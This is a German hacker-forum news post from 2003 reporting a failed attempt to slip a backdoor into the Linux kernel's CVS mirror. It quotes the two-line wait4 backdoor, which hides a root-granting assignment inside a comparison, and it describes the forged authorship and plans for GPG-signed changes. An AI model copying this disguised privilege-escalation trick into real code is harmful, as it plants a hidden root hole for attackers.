Hackerboard WikiHaboBlog

[HaBo]

 
News & Ankündigungen Aktuelle News rund ums Netz - recherchiert von unseren Usern, sowie offizielles vom Team und Ankündigungen der Moderatoren findet ihr hier.

Einbau einer ?Hintertür? in Linux-Kernel fehlgeschlagen

Diskussion: Einbau einer ?Hintertür? in Linux-Kernel fehlgeschlagen im Forum News & Ankündigungen, in der Kategorie Allgemeines; Der Versuch von Unbekannten, eine Hintertür in den Linux-Kernel einzuschleusen, wurde binnen kurzem entdeckt. Die Hintertür gelangte nicht in den ...

Antwort
Alt 07.11.03, 04:47   #1 (permalink)
Träger des silbernen Seepferdchens
 
Benutzerbild von sieben
 
Registriert seit: 24.04.02
sieben Leistung: Z3
Likes: 9
Standard Einbau einer ?Hintertür? in Linux-Kernel fehlgeschlagen


Der Versuch von Unbekannten, eine Hintertür in den Linux-Kernel einzuschleusen, wurde binnen kurzem entdeckt.

Die Hintertür gelangte nicht in den offiziellen Kernel von Linus Torvalds, der das Bitkeeper-System zur Versions- und Patchverwaltung benutzt. Dies wäre auch nahezu unmöglich gewesen. Doch immerhin war es jemand gelungen, die Hintertür in das CVS-System einzuschleusen, das ein direktes Abbild der Quellen von Linus Torvalds darstellt. Es ist wohl noch nicht bekannt, wie das geschehen konnte. Entdeckt wurde es von Larry McVoy, dem Betreiber des Systems und Chef der Firma BitMover, da durch die Änderung der Abgleich zwischen Bitkeeper und CVS fehlschlug.

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;


Die beiden eingefügten Zeilen

Die Hintertür ist eine if-Anweisung, die bei der Übergabe von bestimmten Parametern an den Systemaufruf wait4 den Aufrufer zu ?Root? macht. Sie ist recht raffiniert getarnt und besteht aus lediglich zwei Zeilen. Das Änderungslog des CVS wurde so manipuliert, daß David Miller als Autor der Änderung erschien.

Wäre die Manipulation nicht gleich aufgefallen, so hätte theoretisch jemand einen Patch mit dieser Hintertür an Linus oder einen seiner Vertrauten senden können, und es wäre möglich gewesen, daß dieser so in die offiziellen Kernel-Quellen gelangt wäre. Es ist aber unwahrscheinlich, daß Linus Torvalds oder anderen entgangen wäre, daß diese Zeilen verdächtig sind.

Linus Torvalds und andere wiesen auch sogleich darauf hin, daß es fast unmöglich gewesen wäre, eine Hintertür direkt im offiziellen Kernel zu plazieren. In dem Moment, wo solch ein manipuliertes Bitkeeper-Repository mit anderen Systemen abgeglichen würde, würde dies fehlschlagen, weil eine unerwartete Änderung entdeckt würde. Noch weniger könnten die privaten Bitkeeper-Archive, die etliche Entwickler pflegen, manipuliert werden, eben weil sie privat und nicht öffentlich zugänglich sind.

Als Konsequenz aus dem Vorgang denkt man nun darüber nach, Änderungen mit GPG zu signieren, so daß man nicht vertrauenswürdige Änderungen an der fehlenden oder falschen Signatur erkennen kann. (Dank an Andreas Wozniak.)

(prolinux)

Weitere Informationen: http://kerneltrap.org/node/view/1584

__________________
Diese Zeile ist reserviert für Clark Kent.
sieben ist offline   Mit Zitat antworten
Antwort
   

Werbung ist gerade online    

[HaBo] » Allgemeines » News & Ankündigungen » Einbau einer ?Hintertür? in Linux-Kernel fehlgeschlagen
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Linux Foundation - Linux Kernel Development KlausSchiefer News & Ankündigungen 1 02.04.08 18:19
schwerer bug im linux kernel soox News & Ankündigungen 11 03.02.05 23:39
Linux Kernel 2.6.0 Moe News & Ankündigungen 7 18.12.03 21:05
Linux Kernel Compilieren blub Linux/UNIX 6 22.08.03 00:35
Schwachstellen in Linux-Kernel Tec News & Ankündigungen 1 26.10.02 16:19


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61